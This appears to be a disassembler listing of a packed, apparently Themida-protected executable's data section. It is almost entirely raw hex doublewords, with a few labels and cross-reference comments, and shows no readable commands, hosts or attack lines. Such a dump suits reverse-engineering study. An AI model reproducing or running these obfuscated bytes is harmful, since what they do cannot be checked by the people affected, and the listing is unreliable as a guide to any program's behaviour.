3E85000h, 20000000h dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0D969C350h dd 765B778Dh, 2C7336FEh, 12E8h, 0C157DE00h, 3EF8DC99h dd 2449461Ah, 0CDEAAF03h, 80B5E0A3h, 0FC5FFACFh, 6AC38166h dd 0B8FCh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 150424h, 55450000h, 0F8553C3h, 0C8Fh, 6820F00h, 89000000h dd 14200DB5h, 6AD22B06h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1B042444h, 47000000h, 2071C357h, 583DD979h dd 0E856B3FBh, 11h, 85B3363Eh, 0AA2891C6h, 0B9E1E59h, 17B308ECh dd 5DBD8B54h, 5B06140Fh, 0C233AD5Bh, 0D003E8D1h, 7504E983h dd 0E58589F4h, 0E8061410h, 8, 1A6CA74Ah, 7244D3Ch, 9E9h dd 0EF591D00h, 6A80AFF9h, 535F5F09h, 7898D89h, 0D5F0614h dd 88h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h dd 0CC35343h, 9E881h, 4780000h, 634140FDh, 0E9044B5Fh dd 10h, 0ADC4B5F4h, 2F4EDD01h, 4AA02A9Eh, 0B0BCEE26h, 0ADBD8B5Fh dd 8B061403h, 14322995h, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1D04h, 0C3514100h, 4A7FC1C5h, 0E1FD977Bh dd 9D8B9874h, 6142215h, 64D8D8Bh, 6A0614h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1B0424h, 50400000h, 942729C3h dd 0EE6416BAh, 0C28B5012h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h dd 6A58188Bh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 14042444h, 45000000h, 811DC355h, 393596F3h, 53006A4Ah dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h dd 4F2AA7B8h, 0EED9B8CEh, 0BD83F86Dh, 61429ADh, 88840F00h dd 89000000h, 141A2195h, 0B806h, 8F0F0000h, 14h, 8E8h dd 0F4E7E300h, 0DCB67081h, 959D034Fh, 5B061411h, 4D798D8Dh dd 6A0614h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h dd 57470000h, 0CD08D6C3h, 953102C9h, 6141095h, 6E9h, 0A08B8300h dd 0FF510AE5h, 55006AE1h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1C04h, 0C3554500h, 0C27DF0ACh, 0FC6D9072h dd 55B58900h, 83061406h, 142671BDh, 840F0006h, 476h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0DDC35141h, 8D73EDA6h dd 0FE2CC79h, 0BD83FBB7h, 6142671h, 5E840F01h, 6A000004h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1B042444h dd 41000000h, 0A7C4C351h, 6440BA36h, 95895D60h, 6140C41h dd 55600ABBh, 71BD8318h, 3061426h, 3ED860Fh, 12E90000h dd 0F0000000h, 0B65FB824h, 6AF0C331h, 1F8988D9h, 0FE82CE79h dd 6890FAAh, 8B000000h, 1420C5BDh, 6A6006h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 150424h, 53430000h, 0F9F66FC3h dd 6AD98C66h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 19042444h, 43000000h, 0F412C353h, 0D2D5CE02h, 0FE8h dd 9E457A00h, 227B1760h, 0E4376F0Eh, 0DC3315EBh, 9646BF66h dd 4E1805Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 17h, 4FC35646h, 8B533095h, 14082DBDh, 0FC90A06h, 11C84h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h dd 0C3564600h, 226E32F9h, 8B9B9BC3h, 14196985h, 0CB81F506h dd 13C0BABBh, 1B818533h, 81660614h, 506C2DDBh, 0BF505250h dd 44E9AB9Fh, 0E8310F5Bh, 0Fh, 6308BCA6h, 845A1F54h, 9DD85601h dd 53197F26h, 585A5B5Bh, 0F240489h, 87h, 6A006A00h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h dd 0D191C350h, 15BD9D2Bh, 70680614h, 817202A7h, 0A48F2434h dd 0BF66721Dh, 95FF2F4Fh, 61409ADh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 19h, 85C35545h, 89377A5Ch, 5860F9Ch dd 0BF000000h, 1B538E7Ah, 0AA988589h, 6A0617h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h dd 936FEAC3h, 62B4CB20h, 10E8E8h, 0EF680000h, 33A81DEh dd 0F1EA4BE5h, 0B6785661h, 8B664054h, 0CEE95FF9h, 89000001h dd 140F5D85h, 90858B06h, 0F80617AAh, 1800C7h, 8D890000h dd 6141FE1h, 0AA94B58Bh, 6A0617h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 190424h, 56460000h, 0EBD95FC3h dd 8BF17428h, 140B2985h, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1904h, 0C3504000h, 217ABEEBh, 689DBA0h, 7FF8EEBFh dd 69858B22h, 6A061419h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1D042444h, 40000000h, 0D75FC350h, 76664D96h dd 0A279CB13h, 575BD89h, 46890614h, 50006A04h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1604h, 0C3504000h, 96856741h dd 13E8h, 0D1311400h, 30F7850Ah, 0ED74B405h, 71699149h dd 2E6874h, 13E8h, 0D350D000h, 5E900DABh, 0B87C5E2Eh, 37823147h dd 6C65C5A1h, 5F5B5F51h, 0B5FF9650h, 617AA90h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 57C35747h, 81660BBBh dd 683C53CBh, 648D8CFCh, 2B820Fh, 13E80000h, 22000000h dd 75FCFA3h, 0DCF15F69h, 2A23ED0h, 8BD844BCh, 0DE987A7h dd 23000000h, 0BD0E609Fh, 667F4DF9h, 0C19CE950h, 2434815Bh dd 64928F03h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 17h, 7AC35545h, 0F24C108h, 858DDBB7h, 617AA98h, 0A52EBE60h dd 8D8B3F09h, 614081Dh, 1DB75061h, 1240489h, 142E59BDh dd 0AD95FF06h, 6A061409h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1C042444h, 42000000h, 7629C352h, 6AC2C5ECh dd 297A79B3h, 141109BDh, 0C7F86106h, 14267185h, 306h, 52BF6600h dd 98BD83F8h, 617AAh, 3D840Fh, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 8040B6C3h dd 8F5D0B95h, 0E9FE8B66h, 2Eh, 0EE9h, 0D49FB700h, 1514D235h dd 0B4B1CE66h, 50359E40h, 110C30h, 0C1011144h, 443010E8h dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh, 64001104h dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h, 4300111h dd 4E98311h, 0EBE775h, 6AC08Bh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 170424h, 57470000h, 9E3C1DC3h, 0F99589D9h dd 6A06142Ch, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1B042444h, 43000000h, 6B5EC353h, 78AC9441h, 0EB801ABCh dd 71BD831Fh, 3061426h, 4ED850Fh, 6E90000h, 0E000000h dd 3227E7DCh, 0FD8D89FCh, 83061400h, 17AA98BDh, 840F0006h dd 4CFh, 0AA98B5FFh, 0BD230617h, 614267Dh, 2AF595FFh, 6A0614h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 4B61ACC3h, 859D8996h, 8B06140Bh, 17AA8CB5h, 7D9D8B06h dd 0C7061430h, 1000106h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1404h, 0C3574700h, 14E973h, 9DFE0000h, 7D53C9BCh dd 73DD2433h, 0F238137Dh, 951C566Dh, 0F50034Fh, 484h, 0FB8B5600h dd 2434895Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Bh, 0D7C35343h, 23877BDAh, 3C9766Ch, 141039BDh, 98B5FF06h dd 0F0617AAh, 68Dh, 85BD8B00h, 0FF061404h, 140B3195h, 5FBF6606h dd 8CB58B3Bh, 6A0617AAh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 18042444h, 40000000h, 9F8AC350h, 8B37C041h dd 1421D585h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1904h, 0C3574700h, 20918EAEh, 86891459h, 0C4h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0F1C35747h, 0E7A49C36h dd 283321FFh, 7DBD8B0Ch, 8B06140Ah, 14322995h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h dd 3715C77Eh, 19619501h, 8B660614h, 4C283DAh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0CEC35545h, 0EA90F9F6h dd 249CBB48h, 508924F9h, 25BD8B20h, 8D06142Eh, 17BE0685h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h dd 0C3514100h, 77BC0343h, 84F78910h, 89526D4Ch, 1405818Dh dd 86895B06h, 0B8h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 16h, 86C35242h, 8B66EE96h, 0C38166DEh, 6A504Bh dd 0AA98B5FFh, 6A0617h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 150424h, 53430000h, 66FFF4C3h, 6179EF81h, 5E8h, 32901100h dd 0CB802ABFh, 95FF5BA2h, 6140939h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ah, 0B3C35646h, 1577A7BBh, 8B961967h dd 0E86050D9h, 10h, 0D5F15FFh, 0F5B1717Ch, 64AD3967h, 571484FFh dd 3665B966h, 61B5B25Fh, 55006A96h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1704h, 0C3554500h, 8424ECE7h, 66E6E380h dd 77BDCB81h, 0AA98B5FFh, 6A0617h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 150424h, 57470000h, 0E953EFC3h, 8, 52E8740h dd 36C52822h, 25A5B589h, 95FF0614h, 61420F5h, 0F9858B60h dd 0E9061431h, 5, 0DAA6F02Fh, 0BD8361E4h, 6140C21h, 9E840F00h dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 18042444h, 41000000h, 8444C351h, 0BFBD26BBh, 3E97CD95h dd 11E86096h, 0CA000000h, 0C709718h, 1E162496h, 755762FDh dd 57718A5Ch, 50596160h, 0F48B352h, 0F525031h, 5A585A31h dd 60506158h, 1161BA66h, 0CE8h, 999A8A00h, 1AAF7307h, 8A19D9DDh dd 5F2FB76Ch, 6A9661h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 150424h, 53430000h, 0E9B778C3h, 5, 9C518D3Bh, 0FD98BA9h dd 48Ch, 0FCBB6600h, 98B5FFFAh, 6A0617AAh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 85E1C356h dd 0FF424DCh, 684h, 918D0100h, 6006140Eh, 2601958Bh, 95890614h dd 6141141h, 0B195FF61h, 0E8061402h, 7, 21935E0Fh, 8913BBFFh dd 14198185h, 0B5FF5F06h, 617AA98h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 15h, 59C35646h, 0DF8166C7h, 95FF8E92h dd 6143081h, 10E952h, 0C47F0000h, 1E8E65AFh, 8B7B2E25h dd 4886E18h, 835BC30Dh, 1409F5BDh, 840F0206h, 63h, 5BDE8B51h dd 12DD9D09h, 858B0614h, 6142D01h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 19h, 5DC35545h, 624A14B9h, 0FFBF0F2Eh dd 0AE9h, 0C9E02700h, 0E8E6B91Fh, 0C65C1253h, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h dd 0C7A1B7C3h, 14244D85h, 6, 21BD8B00h, 0E906142Eh, 0FFFFF0D7h dd 2FA1BF66h, 8D01C18Bh, 614247Dh, 3D648D8Dh, 6A0619h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h dd 0F58D16C3h, 32298D89h, 6A0614h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1A0424h, 57470000h, 0DC6B4BC3h, 5A595D2h dd 0AE9h, 6CD1BB00h, 9E26FA9Ch, 0C73F5E83h, 14064D85h dd 623006h, 0AE900h, 0CAC90000h dd 0A2727453h, 0F8B9A9AEh, 0C70FE280h, 14267185h, 6, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h dd 0EF6F762Ah, 0A3E041BFh, 0C2BF6605h, 359D89C0h, 0FF061415h dd 1414ADB5h, 95BD8B06h, 0FF061425h, 14236195h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h dd 0F0AF291Fh, 0FF191426h, 95FF006Ah, 6141169h, 7CEBC08Bh dd 11D0D594h, 0ADBA1540h, 8FCB49A7h, 22F12DFEh, 1A7ED09Ch dd 3D7AA206h, 8459307Bh, 0EFD5DDBEh, 20D8A3C5h, 0EB73A366h dd 0BB36B68Ah, 0F179C8D8h, 5D445FD6h, 69B1DD02h, 0AA53E051h dd 95BFA3D2h, 177D8FA0h, 2E6BED6Eh, 33D047E1h, 7478B4A9h dd 919A601h, 2CB54C2Ch, 0FBE77058h, 7BC5F700h, 91AB57F8h dd 2B50985Bh, 0D495FBFAh, 0F452C38Bh, 242D03C2h, 34B14E67h dd 7BDC22B1h, 3E8F8D8Dh, 9D8B0619h, 61402D1h, 32298D89h dd 0D78B0614h, 4D85C7FCh, 0B4061406h, 6A00005Bh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h dd 984FC350h, 0F11A9B14h, 0C7240431h, 14267185h, 6, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h dd 0BD016030h, 61409DDh, 6120D380h, 14ADB5FFh, 6A0614h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h dd 0C301C3h, 0FF9386EFh, 14236195h, 6AC28A06h, 6995FF00h dd 8B061411h, 0DE7CEBC0h, 9A3DD322h, 48F0B132h, 135AAC4Eh dd 9B96CD2Fh, 0CB2411ACh, 0F60AF8D8h, 6D881DDDh, 3656A724h dd 0D6530C9Bh, 0C68DEE39h, 5BE1FAE9h, 0C889EB88h, 9335F770h dd 0A5D607C6h, 82013818h, 99C63DE7h, 0CD00F1DBh, 0DFD28ED1h dd 0B82FDFEh, 0FFA27D10h, 0C5DECB72h, 43BDC82Ch, 7A89FD2Fh dd 776713D2h, 0CB908055h, 2F35EBC4h, 14BF9C9Fh, 0B2733CE0h dd 0A77263BEh, 0E12F17C4h, 0DEDC3476h, 0D4D4712Ah, 1DC4B46h dd 0D4C8557Fh, 6398525Ch, 0A9A90B33h, 0F1982633h, 0EF5E265Ah dd 338C3C6Ah, 0FFB44E60h, 0F867A5E4h, 0A08C3CE2h, 0D343A3BEh dd 79672024h, 0C5C5A3BAh, 0D71B2027h, 338C053Ah, 831D2933h dd 0C0982633h, 0BFA706B6h, 0D6157635h, 0AF811921h, 890DD963h dd 839E3222h, 35982664h, 1F152359h, 4B811911h, 0B41DAB63h dd 39E3F0Ch, 86CDB3CCh, 14932027h, 6AA1A23Ch, 0B0152633h dd 9C811911h, 4DAACE63h, 0F6D82633h, 6CB0A3BEh, 24C8202Ah dd 0CDA704B6h, 0FF677635h, 338C333Ah, 1794E2B0h, 54A704B6h dd 23157635h, 55811921h, 0F40DD963h, 3D9E3222h, 6A982651h dd 6474AD66h, 11CE7464h, 8DAB2E4Eh, 0A69824DAh, 0D3DF6633h dd 2C97260Ch, 2B67D9C6h, 1713EF00h, 35B2CF3Bh, 48AB2633h dd 0A71831B9h, 0E868AD03h, 5AAD63h, 0A9982C88h, 0D49BCF33h dd 896F2633h, 3566A57Dh, 656CA13Ch, 4EC3D9CCh, 0EEDF7EFBh dd 0D697E638h, 5667D9FDh, 8EC6E7B8h, 0A8517F6Ch, 88152637h dd 9C811923h, 0DDDABBEh, 9320202Ah, 78000000h, 271E7FCh dd 0C8D00731h, 4904C783h, 0FFF2850Fh, 0B58DFFFFh, 6194045h dd 40648D8Dh, 0CF2B0619h, 8B05E983h, 0A4BB20C8h, 3726289Ch dd 8EEA9C67h, 6E6FB663h, 0B53D00A9h, 3132008Ch db 28h, 0B4h, 0BBh byte_59CC5F db 2Bh ; DATA XREF: Themida_:00548C7Co dd 8CB18615h, 37265B0Ch, 74B62F01h, 5B321001h, 32DA5D01h dd 11320401h, 0B86FC15Ch, 0B036256Dh, 2736A445h, 74324001h dd 0BB08E354h, 26D0914Eh, 673867A1h, 31320BE8h, 39B75701h dd 507A48D3h, 1795B48Eh, 64E9BD60h, 3309C95Bh, 841B1001h dd 3726154Ch, 3122ED91h, 5F210201h, 749F0190h, 81058BB6h dd 0C5FFB5F6h, 57622756h, 0A15258BBh, 2D0FBD30h, 303D0215h dd 5BCC264Dh, 32DA5601h, 11328001h, 0B86D835Eh, 0B036047Dh dd 28363445h, 76320801h, 460BC756h, 42412966h, 37BD0EF4h dd 0B8328001h, 252BC184h, 31587807h, 3131F854h, 6C120801h dd 5DBB59C2h, 75B30625h, 312A0525h, 64778001h, 0C8959DC2h dd 0F1B11E36h, 0F7B3762Dh, 39B9FE79h, 0D962046Bh, 31320202h dd 69F15921h, 3516C488h, 35160480h, 3132201Ah, 0B6F14041h dd 9F3C0Ch, 3E72F0E9h, 0BA54F8BEh, 3158FD49h, 31316852h dd 6A124001h, 6DBB7BC2h, 75B31425h, 31250C25h, 62710401h dd 0A87D7C2h, 8C336161h, 3726A23Ch, 0B6C2C167h, 84BB4143h dd 37263CF4h, 70B8967h, 0C3B60BFEh, 57320201h, 0BCBBFF8Ah dd 3726A55Ch, 573B8182h, 0B1BFE5BAh, 0B43DF938h, 31320934h dd 0D967046Bh, 31320202h, 6CF15C21h, 3516EC88h, 35160480h dd 31322015h, 7DF14544h, 313218E8h, 6AC1E101h, 721AB2C3h dd 7E5BD669h, 88E9A196h, 37B44F2Bh, 18322001h, 25315594h dd 30738307h, 3134830Eh, 84B90201h, 3726289Ch, 0A4B94802h dd 372660B8h, 5B37E182h, 32DA4301h, 11320801h, 0B869C75Ah dd 0B036265Dh, 26362545h, 72328001h, 0E3808352h, 8B3089Ah dd 0BA715B91h, 31818D0Eh, 31580401h, 3131EA56h, 6E120101h dd 4DBBDFC2h, 75B34425h, 31272425h, 66751001h, 0D86496C2h dd 3132040Ah, 3D84A2A7h, 44C99B9Dh, 0D949A819h, 31324015h dd 0B003C474h, 2337CE8Ah, 3697970Fh, 0C64017CEh, 1BCF9446h dd 31320AE8h, 4A928101h, 0C668D874h, 0C24EE71Eh, 48BF9D5Ah dd 5B341C4Ch, 32DA5401h, 11320201h, 0B86AC259h, 0B036A445h dd 29366445h, 71322001h, 3930D351h, 0BAFFB978h, 4872DD8h dd 89341608h, 31320102h, 0D964806Bh, 31324002h, 6FF17E21h dd 35166488h, 35164C80h, 31320415h, 0D3F15447h, 458DE0FEh dd 0B8746445h, 25075984h, 31584107h, 3131F852h, 6A120801h dd 6DBB5FC2h, 75B30625h, 312B0525h, 62718001h, 886B1FC2h dd 0BC7FA0C9h, 287276BCh, 79BF8507h, 89341D42h, 30A08175h dd 10CF8432h, 0FE198615h, 0A4BB20C0h, 3726289Ch, 8EEA9C67h dd 6E6FB663h, 0B53D00A9h, 3132008Ch, 83BBB428h, 0A4F305E9h dd 6AC08Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h dd 53430000h, 189567C3h, 8B09E648h, 142BD5BDh, 0E8C38B06h dd 0Ah, 7B9E0E03h, 0B3C4D39Bh, 0B70F1613h, 14E95BFBh, 40000000h dd 0AFE8C2E3h, 5019EFF9h, 0DA5F2C62h, 0D7087073h, 812D7C89h dd 6291C3h, 0CE900h, 0F83C0000h, 0F3B73D9Eh, 5D6186ADh dd 0C02BD99Dh, 0B5016060h, 614009Dh, 8E0Fh, 0E9610000h dd 10h, 0B00F54D3h, 43D28A3Fh, 86C5B89Ah, 41B6449h, 3148B61h dd 1A259589h, 0F2810614h, 538B76E3h, 70A293BEh, 56F28101h dd 0F63BA54h, 8Ch, 7AC28100h, 8B674501h, 140665BDh, 8B665206h dd 3048FFEh, 3CA6C781h, 0BD896227h, 6140909h, 0E804E883h dd 0Fh dword_59D020 dd 0F5162D95h, 0D97C35A6h, 6C47ADDAh, 0E93BBEBAh, 8, 901BA061h ; DATA XREF: Themida_:00549FBCo dd 70A4975Ch, 40F8815Eh, 0FFFFF9Eh, 0FFFF9085h, 10E17AFFh dd 1088E560h, 4DAB8635h, 7C021EF6h, 540AA511h, 1092D411h dd 45CE6835h, 40B615F6h, 9BAAA233h, 4AEBCA8h, 7A4B0D33h dd 13631235h, 308BA135h, 99D2136Ch, 918F4C79h, 0A8F1071h dd 518B1A35h, 522DCE64h, 5DED54CAh, 1081AA83h, 0EB40A135h dd 0E225AD51h, 0ECDBDB06h, 203A89B6h, 658B1C21h, 0F1368E3Ch dd 108D922Fh, 43DB5A41h, 133361BEh, 998BD031h, 49121B0h dd 2A16B933h, 0EF8D0C82h, 93D356E6h, 4916788h, 7FF4333h dd 1333F265h, 998BD031h, 49121B0h, 3916B933h, 0EF8D0C81h dd 91D356E6h, 0A4A9CFECh, 8515FA25h, 1F62AE2Dh, 2E8BD035h dd 4C85F921h, 7FB0DE00h, 0F424072Fh, 0D000E496h, 765B313Ah dd 1309BB9h, 0B8ACB968h, 700FDF31h, 7A8B6836h, 13636235h dd 308B1A35h, 99D5CE6Bh, 918FA241h, 48F6771h, 568BA135h dd 1F4F1363h, 108B69B8h, 0AD08CC35h, 169F0138h, 340F0235h dd 438B8635h, 108B4CDCh, 5AABAD35h, 42940C93h, 4F6EE72Dh dd 2F4DCF68h, 139EF36Ch, 9BED0D35h, 891E8DCCh, 0AE8D5719h dd 128B8635h, 9D446F3Ah, 7FD27B0h, 438B5E33h, 108B19DDh dd 0D3D02D35h, 34D70F6Eh, 34CFC231h, 108BB631h, 0D3D89335h dd 0F6B5C427h, 0A6EC198Ah, 7A5BE53Bh, 13635D35h, 308B8635h dd 99D3806Dh, 918F8571h, 48FF471h, 508B6835h, 1F2CF765h dd 108B1CB5h, 0CD1E0E35h, 958D9237h, 0CA0F4CF5h, 7A8BA135h dd 13638535h, 308B6835h, 99D6F768h, 918F3E59h, 98F2971h dd 558B8635h, 9CE8060h, 38980CDBh, 29165B55h, 0EC8D7C3Fh dd 47B3B554h, 1F709B53h, 108B33B0h, 0FD060F35h, 998D5711h dd 485C8A0h, 680AB633h, 1F896A31h, 1089ECB1h, 468B7035h dd 108B0EDDh, 0D3D5A635h, 34FFCA6Bh, 34CF2031h, 108BCB31h dd 0D3DD2E35h, 10B2D402h, 6210B670h, 760BDBB5h, 7017BEB4h dd 10D0C63Ah, 10E1A135h, 10883864h, 49AB6835h, 5C026DF6h dd 540A1E11h, 109F0911h, 41CA8635h, 0C1001DF6h, 8DB443B4h dd 680B85AFh, 95848037h, 108B3418h, 108B15DCh, 73756035h dd 0CCCF8607h, 0C2AAFF80h, 0F8F0F41Dh, 76011FB5h, 108D10B4h dd 1A0E3B9Eh, 0A18B1A35h, 12C4E469h, 9BED8635h, 118BFDFDh dd 1762E734h, 228BD035h, 0ECBC1F3Ch, 95064707h, 169C6C7Ah dd 0EA0AD6B4h, 0C074DB17h, 0F8DD435Fh, 108BA136h, 4E488E15h dd 14AF1CBCh, 14AF70B4h, 108B1A2Eh, 81485B73h, 2DF46CE4h dd 95970ADBh, 940FAEF5h, 1B8BD034h, 4A2F5A0h, 76B3B533h dd 1F891808h, 108B34B0h, 0D70AE035h, 0E20A2710h, 3CCD31A8h dd 768DA8B4h, 1FF13708h, 108AECB1h, 1FDA7A35h, 108B0DBBh dd 262DF35h, 9D8B4335h, 36094736h, 18A166E3h, 0D655F2A4h dd 0A5397CD1h, 91ED7B87h, 1FEB910Dh, 108BCBB0h, 12F3C335h dd 530EAEDDh, 7A8BD035h, 13633A35h, 308B3435h, 99D1D96Fh dd 918F2961h, 0B8FA271h, 528B4335h, 27096267h, 7CEE1594h dd 0AD8286E5h, 169F1120h, 16F39B53h, 9584CD35h, 108B863Bh dd 3A46C6BCh, 7262A721h, 908BD034h, 1035BFC7h, 99F53534h dd 4AAEB88h, 5F0E8033h, 0EC8D9143h, 0A5A293CAh, 169F8114h dd 948410B0h, 108B688Ah, 0F8DB345Fh, 108B1A36h, 48485515h dd 14AFC2BCh, 14AF07B4h, 108BA12Dh, 0A4488075h, 6D8D1718h dd 142EB9BEh, 280B1C21h, 310E02DDh, 908B8635h, 680BE8F2h dd 9584D230h, 108BD021h, 0FB54938Ah, 17F3B441h, 0E20F1566h dd 0A98B0D35h, 5FCF2C44h, 9FB3C253h, 740EAE30h, 908BD035h dd 1FE36E4Dh, 108B6EB0h, 0DA007C35h, 1BF38C53h, 9584A3CAh dd 108B437Eh, 0F8D9A15Fh, 108BD036h, 4A483215h, 14AF60BCh dd 14AF5EB4h, 108B0D2Fh, 8A48D477h, 0B40BEA02h, 0B262F00Eh dd 7A8BD035h, 13633D35h, 308B3435h, 99D6D968h, 918F2959h dd 78FA271h, 558B4335h, 6CD16260h, 91EDA9A1h, 0A8A1A4D6h dd 108B3435h, 0F8DD1A5Fh, 108B0D36h, 4E48D815h, 14AF37BCh dd 14AFE5B4h, 108BD02Eh, 92483E73h, 7DB18708h, 902D74FBh dd 1C6291C7h, 408B8635h, 3299D2C5h, 0CC7153CAh, 0F9931926h dd 108B6876h, 0F8DE345Fh, 108B1A36h, 4D485015h, 14AFEABCh dd 14AF07B4h, 108BA120h, 0CA488570h, 9B840898h, 108B3433h dd 108B933Ah, 0D10A0D35h, 670D1402h, 160B4C54h, 9B8BA135h dd 49239A0h, 108AD033h, 80723435h, 18637A65h, 2B8B0D35h dd 0FBFA7003h, 0F8AE72F5h, 108BA132h, 0D209FA25h, 4F4CC4A4h dd 0DA00526Bh, 0D30A8A54h, 2DE1728Ch, 54E13BB8h, 9D06452Ch dd 1692E858h, 76DEF38Dh, 110E6B42h, 3B8D202Ch, 341035FAh dd 8899F535h, 3304AAEBh, 435F0E80h, 0CAEC8D91h, 14A5A293h dd 0B0169F81h, 0F305E983h, 0B96658A4h, 66508CDFh, 0F5FD68Bh dd 888h, 9D8B5000h, 6140BF5h, 0B59D8B59h, 0B06142Ch, 4F840FC0h dd 8B000000h, 1431959Dh, 79B58D06h, 0BF06144Dh, 31C5AD5Dh dd 3B8h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1604h, 0C3554500h, 0F04E12Dh, 0D8Ch, 8E900h, 86310000h dd 0B989DAFDh, 0E6FF4E98h, 4DBD8Bh, 80400614h, 0C08B52E2h dd 1941958Bh, 0BD830614h, 61430B1h, 83097500h, 141AE1BDh dd 19740006h, 0C08B5350h, 403B8h, 0C1858900h, 8D061430h dd 16B7A19Dh, 5BD3FF06h, 0E1BD8358h, 6141Ah, 53501774h dd 403B8h, 0C1858900h, 8D061430h, 16B4429Dh, 5BD3FF06h dd 50006A58h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h dd 0C3504000h, 0E9F88D40h, 0F51D38B4h, 9D337C5Bh, 6140F6Dh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0E8C35141h dd 2A75BDF2h, 6E3A9AB5h, 0F98B665Ah, 223DBD8Bh, 0C08B0614h dd 6CE1B966h, 448D8D61h, 8906194Bh, 141B71B5h, 298D8906h dd 0B4061432h, 4D85C721h, 0F0061406h, 6A00006Dh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h dd 8981C357h, 1422358Dh, 7185C706h, 61426h, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h dd 41000000h, 2914C351h, 14265995h, 19B5FF06h, 0F061423h dd 485h, 68B86600h, 6195FF4Fh, 0B8061423h, 50B34740h, 95FF006Ah db 69h, 11h, 14h byte_59D723 db 6 ; DATA XREF: Themida_:0054AE14o dd 1EEBC08Bh, 0FC473DEEh, 1EB048A2h, 83E3CFD7h, 22FA2CDh dd 0B1D28087h, 0A8DA9290h, 0A9BE38FFh, 8D8DF969h, 6194C00h dd 13DDB589h, 8D890614h, 6143229h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 19h, 0FEC35343h, 0F1214DB3h, 0C3BF0F6Eh dd 64D85C7h, 71700614h, 0BD8B0000h, 614109Dh, 267185C7h dd 614h, 0BD8B0000h, 6142D05h, 0D49B5FFh, 95010614h, 6140E15h dd 236195FFh, 6A0614h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1C0424h, 56460000h, 8C20FEC3h, 0F2C36B70h, 820FD5F6h dd 0 dd 95FF006Ah, 6141169h, 49EBC08Bh, 8B3BD6B5h, 374F8958h dd 197CF544h, 485F2A17h, 24407AA7h, 0B6C16A88h, 63C9AC73h dd 0BB864767h, 29C3B808h, 0E7368A6Bh, 7BD3E0D1h, 406561FEh dd 0C32A9319h, 3900823h, 0B1277CFBh, 852A6553h, 28637CD7h dd 151CD69Ch, 8E8BEh db 2 dup(0) 